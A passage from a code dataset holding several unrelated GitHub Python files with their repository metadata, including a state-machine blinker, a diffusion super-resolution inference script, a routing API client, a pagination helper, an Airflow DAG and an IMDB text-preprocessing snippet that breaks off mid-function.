self.on_duration._FSM_BLINKER_ON_STATE = True\n\n \n self.blink_stop_off = off_state_generator(self)\n self.blink_stop_off._FSM_BLINKER_ON_STATE = False\n \n \n self.blink_stop_on = on_state_generator(self)\n self.blink_stop_on._FSM_BLINKER_ON_STATE = True\n\n \n \n blink_stop_off_to_blink_stop_end_n_cycles_condition = StateEntryCountCondition(1.0, self.blink_stop_off)\n blink_stop_on_to_blink_stop_end_n_cycles_condition = StateEntryCountCondition(1.0, self.blink_stop_on)\n self.blink_stop_on_or_off_to_blink_stop_end_condition = AnyCondition()\n self.blink_stop_on_or_off_to_blink_stop_end_condition.add_condition(blink_stop_off_to_blink_stop_end_n_cycles_condition)\n self.blink_stop_on_or_off_to_blink_stop_end_condition.add_condition(blink_stop_on_to_blink_stop_end_n_cycles_condition)\n \n blink_stop_to_blink_stop_end_n_cycles = MonitoredTransition(self.blink_stop_end, self.blink_stop_on_or_off_to_blink_stop_end_condition)\n\n self.blink_stop_off.add_transition(blink_stop_to_blink_stop_end_n_cycles)\n self.blink_stop_on.add_transition(blink_stop_to_blink_stop_end_n_cycles)\n\n \n \n self.on_duration_condition = assemble_state_transitions_and_timed_conditions(self.on_duration, self.off_duration)\n self.off_duration_condition = assemble_state_transitions_and_timed_conditions(self.off_duration, self.on_duration)\n \n self.blink_off_condition = assemble_state_transitions_and_timed_conditions(self.blink_off, self.blink_on)\n self.blink_on_condition = assemble_state_transitions_and_timed_conditions(self.blink_on, self.blink_off)\n \n self.blink_stop_on_to_blink_stop_off_condition = assemble_state_transitions_and_timed_conditions(self.blink_stop_on, self.blink_stop_off)\n self.blink_stop_off_to_blink_stop_on_condition = assemble_state_transitions_and_timed_conditions(self.blink_stop_off, self.blink_stop_on)\n \n # self.blink_stop_on_or_off_to_blink_stop_end_condition = assemble_state_transitions_and_timed_conditions(self.blink_stop_off, self.blink_stop_end)\n # self.blink_stop_on_or_off_to_blink_stop_end_condition = assemble_state_transitions_and_timed_conditions(self.blink_stop_on, self.blink_stop_end)\n self.blink_stop_begin_total_duration_condition = assemble_state_transitions_and_timed_conditions(self.blink_stop_begin, self.blink_stop_end)\n\n\n # 5-Create layout\n layout = FiniteStateMachine.Layout()\n \n # 6-Add states to layout\n layout.initial_state = self.off\n layout.add_states([self.off, self.on, self.blink_begin, self.blink_on, self.blink_off, self.blink_stop_begin, self.blink_stop_end, self.blink_stop_off, self.blink_stop_on])\n \n # 7-Add the starting state\n self.current_state = layout.initial_state\n \n # Create FSM \n super().__init__(layout=layout, unitialized=False)\n \n @property\n def is_on(self) -> bool:\n return self.current_state._FSM_BLINKER_ON_STATE is True\n \n @property\n def is_off(self) -> bool:\n return self.current_state._FSM_BLINKER_ON_STATE is False\n \n def turn_off(self, **kwargs):\n if kwargs.keys() == {'duration'}:\n self.off_duration_condition.duration = kwargs['duration']\n self.transit_to(self.off_duration)\n else:\n self.transit_to(self.off)\n \n def turn_on(self, **kwargs):\n if kwargs.keys() == {'duration'}:\n self.on_duration_condition.duration = kwargs['duration']\n self.transit_to(self.on_duration)\n else:\n self.transit_to(self.on)\n \n def blink(self, percent_on:float=0.5, begin_on:bool=True, **kwargs):\n \n # Arg checking and variable initialization\n if not isinstance(begin_on, bool):\n raise TypeError(\"begin_on must be a boolean\")\n \n if percent_on < 0 or percent_on > 1:\n raise ValueError(\"percent_on must be between 0 and 1\")\n \n if not isinstance(begin_on, bool):\n raise TypeError(\"begin_on must be a boolean\")\n \n if kwargs.keys().__contains__('cycle_duration'):\n if kwargs['cycle_duration'] <= 0:\n raise ValueError(\"cycle_duration must be greater than zero\")\n \n if kwargs.keys().__contains__('total_duration'):\n if kwargs['total_duration'] <= 0:\n raise ValueError(\"total_duration must be greater than zero\")\n \n if kwargs.keys().__contains__('n_cycles'):\n if kwargs['n_cycles'] <= 0:\n raise ValueError(\"n_cycles must be greater than zero\")\n \n if kwargs.keys().__contains__('end_off'):\n if not isinstance(kwargs['end_off'], bool):\n raise TypeError(\"end_off must be a boolean\")\n \n \n # Overloads \n if kwargs.keys() == {'cycle_duration'}:\n cycle_duration = kwargs['cycle_duration']\n\n self.blink_on_condition.duration = cycle_duration * percent_on\n \n self.blink_off_condition.duration = cycle_duration - self.blink_on_condition.duration\n \n if begin_on:\n self.transit_to(self.blink_on)\n else:\n self.transit_to(self.blink_off)\n \n elif kwargs.keys() in self.args_combinations:\n cycle_duration = None\n if kwargs.keys() == {'end_off', 'total_duration', 'cycle_duration'}:\n end_off, total_duration, cycle_duration = kwargs['end_off'], kwargs['total_duration'], kwargs['cycle_duration']\n elif kwargs.keys() == {'end_off', 'total_duration', 'n_cycles'}:\n end_off, total_duration, n_cycles = kwargs['end_off'], kwargs['total_duration'], kwargs['n_cycles']\n cycle_duration = total_duration / n_cycles\n elif kwargs.keys() == {'end_off', 'n_cycles', 'cycle_duration'}:\n end_off, n_cycles, cycle_duration = kwargs['end_off'], kwargs['n_cycles'], kwargs['cycle_duration']\n total_duration = n_cycles * cycle_duration\n \n \n self.blink_stop_on_to_blink_stop_off_condition.duration = cycle_duration * percent_on\n self.blink_stop_off_to_blink_stop_on_condition.duration = cycle_duration - self.blink_stop_on_to_blink_stop_off_condition.duration\n \n self.blink_stop_begin_total_duration_condition.duration = total_duration\n # TODO -> Demander au prof a propos de la logique du total duration \n if begin_on: \n self.blink_stop_begin.add_transition(ConditionalTransition(self.blink_stop_on, AlwaysTrueCondition()))\n else:\n self.blink_stop_begin.add_transition(ConditionalTransition(self.blink_stop_off, AlwaysTrueCondition()))\n \n if end_off:\n self.blink_stop_end.add_transition(ConditionalTransition(self.off, AlwaysTrueCondition()))\n else:\n self.blink_stop_end.add_transition(ConditionalTransition(self.on, AlwaysTrueCondition())) \n \n self.transit_to(self.blink_stop_begin)\n\n \n \nif __name__ == \"__main__\":\n\n def off_state_generator():\n state = MonitoredState()\n state.add_in_state_action(lambda: print(\"Off\"))\n return state\n \n def on_state_generator():\n state = MonitoredState()\n state.add_in_state_action(lambda: print(\"On\"))\n return state\n \n blinker = Blinker(off_state_generator, on_state_generator)\n # blinker.blink(0.5, True, cycle_duration=1.0)\n blinker.blink( cycle_duration=10.0, percent_on=0.5, end_off=True, n_cycles=10)\n # blinker.turn_off(duration=2.0)\n for _ in range(10000000):\n blinker.track()\n \n","repo_name":"Jon-Robb/finite_state_machine_library","sub_path":"Blinker.py","file_name":"Blinker.py","file_ext":"py","file_size_in_byte":9938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"74635969335","text":"import os\nimport argparse\nimport math\nimport copy\nimport cv2\nfrom PIL import Image\nfrom tqdm import trange\nimport numpy as np\nfrom itertools import islice\nfrom omegaconf import OmegaConf\nfrom einops import rearrange\nimport torch\nfrom torch import autocast\nfrom torch.distributed import init_process_group\nfrom pytorch_lightning import seed_everything\nfrom contextlib import nullcontext\n\nfrom basicsr.utils.imresize import imresize\nfrom basicsr.utils import img2tensor\nfrom ldm.util import instantiate_from_config\nfrom ldm.models.diffusion.ddim_moe import DDIMMoeSampler\nfrom ldm.models.vqmodel import VQModelResiUnet\n\n\ndef calc_mean_std(feat, eps=1e-5):\n \"\"\"Calculate mean and std for adaptive_instance_normalization.\n Args:\n feat (Tensor): 4D tensor.\n eps (float): A small value added to the variance to avoid\n divide-by-zero. Default: 1e-5.\n \"\"\"\n size = feat.size()\n assert len(size) == 4, 'The input feature should be 4D tensor.'\n b, c = size[:2]\n feat_var = feat.view(b, c, -1).var(dim=2) + eps\n feat_std = feat_var.sqrt().view(b, c, 1, 1)\n feat_mean = feat.view(b, c, -1).mean(dim=2).view(b, c, 1, 1)\n return feat_mean, feat_std\n\n\ndef adaptive_instance_normalization(content_feat, style_feat):\n \"\"\"Adaptive instance normalization.\n Adjust the reference features to have the similar color and illuminations\n as those in the degradate features.\n Args:\n content_feat (Tensor): The reference feature.\n style_feat (Tensor): The degradate features.\n \"\"\"\n size = content_feat.size()\n style_mean, style_std = calc_mean_std(style_feat)\n content_mean, content_std = calc_mean_std(content_feat)\n normalized_feat = (content_feat - content_mean.expand(size)) / content_std.expand(size)\n return normalized_feat * style_std.expand(size) + style_mean.expand(size)\n\n\ndef chunk(it, size):\n it = iter(it)\n return iter(lambda: tuple(islice(it, size)), ())\n\n\ndef load_models_from_config(config, ckpts, main_device, verbose=False):\n init_model = instantiate_from_config(config.model)\n models = [copy.deepcopy(init_model) for i in range(4)]\n \n for i in range(len(models)):\n model = models[i]\n \n if len(ckpts) > 0:\n ckpt = ckpts[i]\n print(f\"Loading model from {ckpt}\")\n sd = torch.load(ckpt, map_location=\"cpu\")\n\n m, u = model.load_state_dict(sd, strict=False)\n if len(m) > 0 and verbose:\n print(\"missing keys:\")\n print(m)\n if len(u) > 0 and verbose:\n print(\"unexpected keys:\")\n print(u)\n\n model.to(main_device)\n model.eval()\n\n model.model_ema.store(model.model.parameters())\n model.model_ema.copy_to(model.model)\n\n return models\n \n\ndef load_img(path, factor, return_upscale=False):\n '''\n Input:\n return_upscale: we need to upscale images first to get encoding latents\n Return: \n image: Tensor, [-1, 1], conditions that will concat with the latent for SR\n '''\n image = cv2.imread(path) # (bgr)\n h, w, _ = image.shape\n if return_upscale:\n vae_enc_input = imresize(image, output_shape=(h*factor, w*factor))\n vae_enc_input = img2tensor(vae_enc_input, bgr2rgb=True, float32=True) / 255.0\n vae_enc_input = 2.*vae_enc_input - 1.\n vae_enc_input = vae_enc_input[None, ...]\n\n if factor == 8:\n image = imresize(image, output_shape=(h*2, w*2))\n image = img2tensor(image, bgr2rgb=True, float32=True) / 255.0\n image = 2.*image - 1.\n image = image[None, ...]\n\n if return_upscale: \n return image, vae_enc_input\n else: \n return image\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--init-img\",\n type=str,\n nargs=\"?\",\n help=\"path to the input image\",\n default=\"/mnt/lustre/jywang/dataset/ImageSR/RealSRSet/\"\n )\n parser.add_argument(\n \"--outdir\",\n type=str,\n nargs=\"?\",\n help=\"dir to write results to\",\n default=\"outputs/sr-samples\"\n )\n parser.add_argument(\n \"--skip_save\",\n action='store_true',\n help=\"do not save indiviual samples. For speed measurements.\",\n )\n parser.add_argument(\n \"--ddim_steps\",\n type=int,\n default=200,\n help=\"number of ddim sampling steps\",\n )\n parser.add_argument(\n \"--ddim_eta\",\n type=float,\n default=1.0,\n help=\"ddim eta (eta=0.0 corresponds to deterministic sampling\",\n )\n parser.add_argument(\n \"--factor\",\n type=int,\n default=8,\n help=\"downsampling factor, 4 or 8\",\n )\n parser.add_argument(\n \"--n_samples\",\n type=int,\n default=2,\n help=\"how many samples to produce for each given prompt. A.k.a batch size\",\n )\n parser.add_argument(\n \"--strength\",\n type=float,\n default=1.0,\n help=\"strength for noising/unnoising. 1.0 corresponds to full destruction of information in init image\",\n )\n parser.add_argument(\n \"--config\",\n type=str,\n default=\"configs/stable-diffusion/v1-inference.yaml\",\n help=\"path to config which constructs model\",\n )\n parser.add_argument(\n \"--ckpt\",\n type=str,\n nargs='+',\n default=\"\",\n help=\"path to checkpoint of model\",\n )\n parser.add_argument(\n \"--seed\",\n type=int,\n default=42,\n help=\"the seed (for reproducible sampling)\",\n )\n parser.add_argument(\n \"--precision\",\n type=str,\n help=\"evaluate at this precision\",\n choices=[\"full\", \"autocast\"],\n default=\"autocast\"\n )\n parser.add_argument(\n \"--save_input\",\n action='store_true',\n help=\"if enabled, save inputs\",\n )\n parser.add_argument(\n \"--input_size\",\n type=int,\n default=512,\n help=\"input size\",\n )\n parser.add_argument(\n \"--color_fix\",\n action='store_true',\n help=\"if enabled, use adain for color fix\",\n )\n parser.add_argument(\n\t\t\"--num_length\",\n\t\ttype=int,\n\t\tdefault=-1,\n\t\thelp=\"length of each data split\",\n\t)\n parser.add_argument(\n\t\t\"--data_idx\",\n\t\ttype=int,\n\t\thelp=\"index of data split\",\n\t)\n parser.add_argument(\n\t\t\"--device\",\n\t\ttype=int,\n\t\thelp=\"index of data split\",\n\t)\n parser.add_argument(\n \"--decoder_config\",\n type=str,\n default=\"\",\n help=\"path to config which constructs model\",\n )\n parser.add_argument(\n \"--decoder_ckpt\",\n type=str,\n default=\"\",\n help=\"path to checkpoint of model\",\n )\n parser.add_argument(\n \"--return_latents\",\n action='store_true',\n help=\"get diffusion latents before decoding\",\n )\n parser.add_argument(\n \"--skip_return_samples\",\n action='store_true',\n help=\"whether get samples\",\n )\n opt = parser.parse_args()\n return opt\n\n\ndef main():\n opt = get_args()\n init_process_group(backend='nccl')\n\n seed_everything(opt.seed)\n\n # load moe models \n config = OmegaConf.load(f\"{opt.config}\")\n \n device = f\"cuda:{opt.device}\"\n models = []\n print(\"Models should be listed in an ascending order, ie. 0-250, 250-500...\")\n models = load_models_from_config(config, opt.ckpt, device, verbose=True)\n\n # load vae_aff\n if opt.decoder_config:\n decoder_config = OmegaConf.load(f\"{opt.decoder_config}\")\n vae = VQModelResiUnet(ddconfig=decoder_config.model.params.ddconfig, n_embed=8192, embed_dim=3)\n vae_ckpt = torch.load(os.path.join(opt.decoder_ckpt))\n missing, unexpected = vae.load_state_dict(vae_ckpt, strict=False)\n print(f\"Load {opt.decoder_ckpt} with {len(missing)} missing and {len(unexpected)} unexpected\")\n print(\"unexpected:\", unexpected)\n models[0].first_stage_model = vae\n \n os.makedirs(opt.outdir, exist_ok=True)\n outpath = opt.outdir\n sample_path = os.path.join(outpath, \"samples\")\n os.makedirs(sample_path, exist_ok=True)\n\n if opt.save_input:\n input_path = os.path.join(outpath, \"inputs\")\n os.makedirs(input_path, exist_ok=True)\n if opt.return_latents:\n npy_path = os.path.join(outpath, \"diffusion_latents\")\n os.makedirs(npy_path, exist_ok=True)\n\n batch_size = opt.n_samples\n \n # get evaluate subset\n num_length = opt.num_length\n try:\n img_list_old = sorted(os.listdir(opt.init_img), key=lambda x:int(x.split(\".\")[0]))\n except:\n img_list_old = sorted(os.listdir(opt.init_img))\n if num_length > 0:\n print(\"Dataset Start Index:\", opt.data_idx * num_length)\n img_list_old = img_list_old[opt.data_idx * num_length:min((1+opt.data_idx) * num_length, len(img_list_old))]\n img_list = sorted(img_list_old)\n niters = math.ceil(len(img_list) / batch_size)\n img_list_chunk = [img_list[i * batch_size:(i + 1) * batch_size] for i in range((len(img_list) + batch_size - 1) // batch_size )]\n\n sampler = DDIMMoeSampler(models, opt.device)\n\n sampler.make_schedule(ddim_num_steps=opt.ddim_steps, ddim_eta=opt.ddim_eta, verbose=False)\n assert 0. <= opt.strength <= 1., 'can only work with strength in [0.0, 1.0]'\n t_enc = int(opt.strength * opt.ddim_steps)\n print(f\"target t_enc is {t_enc} steps\")\n\n precision_scope = autocast if opt.precision == \"autocast\" else nullcontext\n x_T = None\n\n # inference\n with torch.no_grad():\n with precision_scope(\"cuda\"):\n for n in trange(niters, desc=\"Sampling\"):\n cur_img_list = img_list_chunk[n]\n init_image_list = []\n vae_enc_input_list = []\n for item in cur_img_list:\n cur_image, vae_enc_input = load_img(os.path.join(opt.init_img, item), opt.factor, return_upscale=True)\n cur_image = cur_image.to(device)\n init_image_list.append(cur_image)\n\n # prepare latent for vae decode\n vae_enc_input = vae_enc_input.to(device)\n vae_enc_input_list.append(vae_enc_input)\n\n init_image = torch.cat(init_image_list, dim=0)\n\n seed_everything(opt.seed)\n\n latents, _ = sampler.sample(t_enc, init_image.size(0), (3,opt.input_size // 4,opt.input_size // 4), init_image, eta=opt.ddim_eta, verbose=False, x_T=x_T)\n\n # decode latent\n if not opt.skip_return_samples:\n models[0].first_stage_model.to(device)\n latents = latents.to(device) # tensor\n if isinstance(models[0].first_stage_model, VQModelResiUnet):\n # upscale image and get encode feats\n vae_enc_inputs = torch.cat(vae_enc_input_list, dim=0).to(device)\n h, enc_fea = models[0].first_stage_model.encode_to_prequant(vae_enc_inputs)\n x_samples,_,_ = models[0].first_stage_model.decode(latents, enc_fea)\n else:\n NotImplementedError\n\n models[0].first_stage_model.to(device) \n\n if opt.color_fix:\n x_samples = adaptive_instance_normalization(x_samples, init_image.to(x_samples.device))\n x_samples = torch.clamp((x_samples + 1.0) / 2.0, min=0.0, max=1.0) \n\n if opt.return_latents:\n latents = latents.cpu().numpy()\n\n if not opt.skip_save:\n for i in range(latents.shape[0]):\n # save sr image\n if not opt.skip_return_samples:\n x_sample = 255. * rearrange(x_samples[i].cpu().numpy(), 'c h w -> h w c')\n Image.fromarray(x_sample.astype(np.uint8)).save(\n os.path.join(sample_path, cur_img_list[i]))\n\n # save latent\n if opt.return_latents:\n latent_name = cur_img_list[i].split(\".\")[0] + f\".npy\"\n np.save(os.path.join(npy_path, latent_name), latents[i])\n \n # save input image\n if opt.save_input:\n x_input = 255. * rearrange(init_image[i].cpu().numpy(), 'c h w -> h w c')\n x_input = (x_input+255.)/2\n Image.fromarray(x_input.astype(np.uint8)).save(\n os.path.join(input_path, cur_img_list[i]))\n\n print(f\"Your samples are ready and waiting for you here: \\n{outpath} \\n\"\n f\" \\nEnjoy.\")\n\n \nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"tencent-ailab/Frequency_Aug_VAE_MoESR","sub_path":"sr_8x_inf/sr_val_ddim_moe.py","file_name":"sr_val_ddim_moe.py","file_ext":"py","file_size_in_byte":12821,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"22"} +{"seq_id":"11876043832","text":"import requests\nimport re\nimport json\n\nimport os\n#import pprint\nAPI_KEY = f\"{os.getenv('API_KEY')}\"\n\ndef get_street_from_coordinates(lat, lon):\n \n headers = {\n 'Accept': 'application/json, application/geo+json, application/gpx+xml, img/png; charset=utf-8',\n }\n call = requests.get('https://api.openrouteservice.org/geocode/reverse?api_key={}&point.lon={}&point.lat={}'.format(API_KEY, lon, lat), headers=headers)\n res = json.loads(call.text)\n #print(res)\n # pp = pprint.PrettyPrinter(indent=4)\n # pp.pprint(res['features'][0]) # ['properties']['region']\n \n return res['features'][0]['properties']['label'], res['features'][0]['properties']['region']\n\ndef openrouteservice_request(body):\n headers = {\n 'Accept': 'application/json, application/geo+json, application/gpx+xml, img/png; charset=utf-8',\n 'Authorization': API_KEY,\n 'Content-Type': 'application/json; charset=utf-8'\n }\n call = requests.post('https://api.openrouteservice.org/v2/directions/driving-car/gpx', json=body, headers=headers) \n #print(call.text)\n string_res = call.text\n\n #print(string_res)\n tag = 'rtept'\n reg_str = '(.*?)' + '>'\n res = re.findall(reg_str, string_res)\n \n string1 = str(res)\n tag1 = '\"'\n reg_str1 = '\"' + '(.*?)' + '\"'\n final = re.findall(reg_str1, string1)\n #print(final)\n return final","repo_name":"DriiGY/transportation-app","sub_path":"views/home/openrouteservicecalls.py","file_name":"openrouteservicecalls.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28425050174","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 22 2023 12:00:00\n\n@Author: Nicanor Kyamba\n\"\"\"\nfrom typing import Tuple, List\nimport csv\n\n\ndef index_range(page: int, page_size: int) -> Tuple:\n \"\"\"\n Returns start and end index for pagination\n\n Args:\n page (int): page number\n page_size (int): page size\n\n Returns:\n Tuple: start and end index\n \"\"\"\n start_index = (page - 1) * page_size\n end_index = start_index + page_size\n return (start_index, end_index)\n\n\nclass Server:\n \"\"\"\n Server class to paginate a database of popular baby names.\n \"\"\"\n DATA_FILE = \"Popular_Baby_Names.csv\"\n\n def __init__(self):\n self.__dataset = None\n\n def dataset(self) -> List[List]:\n \"\"\"Cached dataset\n \"\"\"\n if self.__dataset is None:\n with open(self.DATA_FILE) as f:\n reader = csv.reader(f)\n dataset = [row for row in reader]\n self.__dataset = dataset[1:]\n\n return self.__dataset\n\n def get_page(self, page: int = 1, page_size: int = 10) -> List[List]:\n \"\"\"\n Get page of dataset\n\n Args:\n page (int): page number\n page_size (int): page size\n\n Returns:\n List[List]: dataset\n \"\"\"\n assert isinstance(page, int) and page > 0\n assert isinstance(page_size, int) and page_size > 0\n\n dataset = self.dataset()\n\n try:\n start_index, end_index = index_range(page, page_size)\n return dataset[start_index:end_index]\n except IndexError:\n return []\n","repo_name":"NICANORKYAMBA/alx-backend","sub_path":"0x00-pagination/1-simple_pagination.py","file_name":"1-simple_pagination.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"72368303415","text":"import numpy as np\nimport pandas as pd\n\nimport scipy\nfrom scipy.linalg import fractional_matrix_power\nfrom scipy.linalg import logm, expm\n\n#IN linalg.py\n#__all__ = ['matrix_power', 'solve', 'tensorsolve', 'tensorinv', 'inv',\n# 'cholesky', 'eigvals', 'eigvalsh', 'pinv', 'slogdet', 'det',\n# 'svd', 'eig', 'eigh', 'lstsq', 'norm', 'qr', 'cond', 'matrix_rank',\n# 'LinAlgError', 'multi_dot']\n\n__all__ = ['upper_vectorization','lower_vectorization', 'double_vectorization','geodesic_distance', 'ID_rate', 'ID_rate2', 'fhd_map',\n 'geodesic_k']\n\n\ndef fhd_map(x):\n if x >= 0.25:\n y = '3_fhp'\n elif x>0 and x<0.25:\n y = '2_fha'\n else:\n y = '1_fhn'\n return y\n\ndef fhd_numeric_map(x):\n if x >= 0.25:\n y = 2\n elif x>0 and x<0.25:\n y = 1\n else:\n y = 0\n return y\n\n## TDO: count edges assertion\ndef upper_vectorization(A:np.array):\n triangle = np.triu(A, 1)\n vector = triangle[np.triu_indices(triangle.shape[0], 1)]\n\n return vector\n\ndef lower_vectorization(A:np.array):\n triangle = np.tril(A, -1)\n vector = triangle[np.tril_indices(triangle.shape[0], -1)]\n\n return vector\n\ndef double_vectorization(A:np.array):\n up_triangle = np.triu(A, 1)\n up_vector = up_triangle[np.triu_indices(up_triangle.shape[0],1)]\n\n low_triangle = np.tril(A, -1)\n low_vector = low_triangle[np.tril_indices(low_triangle.shape[0], -1)]\n\n vector = np.hstack([up_vector, low_vector]) \n\n return vector\n\n\n\ndef geodesic_distance(a,b):\n \n a_ = fractional_matrix_power(a, -0.5)\n q = a_@ b @a_\n #eye = np.diagonal(q)\n #print(eye)\n #trace_q = np.trace(q)\n #print(trace_q)\n q = logm(q)\n trace = np.trace(q**2)\n #print(trace)\n dist = np.sqrt(trace)\n \n return dist\n\ndef geodesic_k(a,b):\n\n q = np.linalg.solve(a,b)\n e, _ = np.linalg.eig(q)\n dist = np.sqrt(np.sum(np.log(e)**2))\n\n return dist\n\n\n\ndef ID_rate(A, distance=False):\n matches = []\n for i in range(len(A)):\n # TODO: optimize if distance comparison)\n if distance:\n j = np.argmin(A[i])\n else:\n j = np.argmax(A[i])\n if i == j:\n matches.append(1)\n else:\n print('Missmatch:', i,j)\n matches.append(0)\n\n id_rate = np.sum(matches)/len(matches)\n\n return id_rate\n\n\ndef ID_rate2(A, distance=False, verbose=False):\n matches = []\n for i in range(len(A)):\n # TODO: optimize if distance comparison)\n if distance:\n j = np.argmin(A[i])\n else:\n j = np.argmax(A[i])\n if i == j:\n matches.append(1)\n else:\n matches.append(0)\n if verbose:\n print('Missmatch:', i,j)\n\n forward_rate = np.sum(matches)/len(matches)\n print(forward_rate)\n\n matches = []\n for j in range(len(A.T)):\n # TODO: optimize if distance comparison)\n if distance:\n i = np.argmin(A.T[j])\n else:\n i = np.argmax(A.T[j])\n if j == i:\n matches.append(1)\n else:\n matches.append(0)\n if verbose:\n print('Missmatch:', j,i)\n\n backward_rate = np.sum(matches)/len(matches)\n print(backward_rate)\n\n id_rate = (forward_rate + backward_rate) / 2\n\n return np.round(id_rate,3)\n\ndef matrix_from_vector(v, n):\n matrix = np.zeros((n, n))\n i_upp = np.triu_indices(n, 1)\n matrix[i_upp] = v\n i_low = np.tril_indices(n, -1)\n matrix[i_low] = matrix.T[i_low]\n \n return matrix\n","repo_name":"danndroid/modules","sub_path":"blue/brain/brain.py","file_name":"brain.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"6175150865","text":"import sqlite3\nfrom nika.ports.repository.sqlite_listing_repository import *\n\ndef run(sqlite_filepath):\n print(f'Writing some fixture data into {sqlite_filepath} db file ...')\n __truncate_tables(['listings'], sqlite_filepath)\n\n listing_repository = SqliteListingRepository(sqlite_filepath)\n __listing_candidates(listing_repository)\n\n print('Done.')\n\ndef __listing_candidates(listing_repository):\n print('Writing listing candidates ...')\n candidates = [\n ListingCandidate(\n property_transaction_id=\"22_42345\",\n address=Address(\n street=\"Via Boccaccio\",\n street_number=\"13\",\n city=\"Trezzano sul Naviglio\",\n zip_code=\"20106\"\n )\n ),\n ListingCandidate(\n property_transaction_id=\"22_12345\",\n address=Address(\n street=\"Via Cellini\",\n street_number=\"16\",\n city=\"Corsico\",\n zip_code=\"20094\"\n )\n )\n ]\n for c in candidates:\n listing_repository.add_candidate(c)\n\ndef __truncate_tables(tables, sqlite_filepath):\n print('Truncate tables ...')\n db = sqlite3.connect(sqlite_filepath)\n for table in tables:\n db.execute(f\"delete from {table}\")\n db.commit()","repo_name":"danielemegna/nika_flask","sub_path":"db/write_fixtures.py","file_name":"write_fixtures.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70050543098","text":"#\n# @lc app=leetcode id=66 lang=python3\n#\n# [66] Plus One\n#\n\n# @lc code=start\nclass Solution:\n def plusOne(self, digits: List[int]) -> List[int]:\n c = 1\n result = []\n for i in range(len(digits) - 1, -1, -1):\n s = c + digits[i]\n c = int(s / 10)\n result.insert(0, s % 10)\n if c == 1:\n result.insert(0, 1)\n return result\n \n# @lc code=end\n","repo_name":"charles-ma/leetcode","sub_path":"python_code/66.plus-one.py","file_name":"66.plus-one.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"24850182828","text":"from datetime import datetime, timedelta\n\nfrom airflow.decorators import dag, task\n\ndefault_args = {\n \"owner\": \"nadir\",\n \"retries\": 5,\n \"retry_delay\": timedelta(minutes=5),\n}\n\n\n@dag(\n dag_id=\"delivery_service_dag_v1\",\n default_args=default_args,\n start_date=datetime(2023, 10, 26),\n schedule_interval=\"@daily\",\n)\ndef delivery_service_etl():\n @task()\n def get_items():\n return [\"cheese\", \"milk\", \"secret box\"]\n\n @task()\n def send_items(items):\n for item in items:\n print(f\"sending item: {item}...\")\n\n items = get_items()\n send_items(items)\n\n\ndelivery_service_dag = delivery_service_etl()\n","repo_name":"nadirbslmh/airflow-dag-code-examples","sub_path":"delivery_service_dag.py","file_name":"delivery_service_dag.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"21523171827","text":"# For13. n butun son berilgan(n>0). S=1.1-1.2+1.3... n ta o'zgaruvchi yig'indisi topilsin.\nn = int(input(\"N = \"))\ns=0\ns1=0\nif n<=0:\n print(\"N soni manfiy yoki nolga teng\")\nelse:\n for i in range(1, n+1,2):\n s+=i/10+1\n for j in range(2, n+1,2):\n s1+=j/10+1\n print(s-s1)\n","repo_name":"UzSenor/Pythonda_1000_ta_misol","sub_path":"For/For13.py","file_name":"For13.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"18959284404","text":"# -*- coding: utf-8 -*-\nfrom flask import request, render_template\nfrom flask_classy import FlaskView, route\n# Import Login form\nfrom app.forms.login_form import LoginForm\n\n\nclass LoginController(FlaskView):\n \"\"\"\n Handle login\n \"\"\"\n route_base = \"/login\"\n\n def __init__(self):\n return\n\n @route(\"\", methods=[\"GET\", \"POST\"])\n def index(self):\n form = LoginForm(request.form)\n\n if form.validate_on_submit():\n print(\"login\")\n\n return render_template(\"login.html\", form=form)\n","repo_name":"soerjadi/flask","sub_path":"app/controllers/login_controller.py","file_name":"login_controller.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"372958057","text":"import tensorflow as tf\nimport numpy as np\nimport tensorflow_datasets as tfds\nimport numpy\n\nraw_train_ds = tf.keras.preprocessing.text_dataset_from_directory(\n \"aclImdb/train\",\n labels=\"inferred\",\n label_mode=\"binary\",\n class_names=['neg', 'pos'],\n batch_size=32,\n validation_split=0.2,\n subset=\"training\",\n seed=37,\n )\n\nraw_val_ds = tf.keras.preprocessing.text_dataset_from_directory(\n \"aclImdb/train\",\n labels=\"inferred\",\n label_mode=\"binary\",\n class_names=['neg', 'pos'],\n batch_size=32,\n validation_split=0.2,\n subset=\"validation\",\n seed=37,\n)\n\nraw_test_ds = tf.keras.preprocessing.text_dataset_from_directory(\n \"aclImdb/test\", batch_size=32\n)\n\nfrom tensorflow.keras.layers import TextVectorization\nimport string\nimport re\n\ndef transformdata(inputdata=\"\",wordvector=\"none\"):\n\n textview=tfds.as_numpy(inputdata)\n \n i=0\n j=0\n k=0\n newtextarray = []\n newlabelarray = []\n for text in textview:\n #text=np.array(text)\n textshape=text[0].shape\n elements=textshape[0]\n print(elements)\n j=0\n \n while j < elements:\n newtextarray.append(text[0][j])\n newlabelarray.append(text[1][j][0])\n j=j+1\n k=k+1\n \n #print(i)\n #print(text)\n i=i+1\n print(text[0][0])\n print(text[1][0][0])\n #if i == 2:\n # break\n \n i = 0\n elements=len(newtextarray)\n print(elements)\n textmodarray=[]\n while i < elements:\n text2mod=str(newtextarray[i])\n 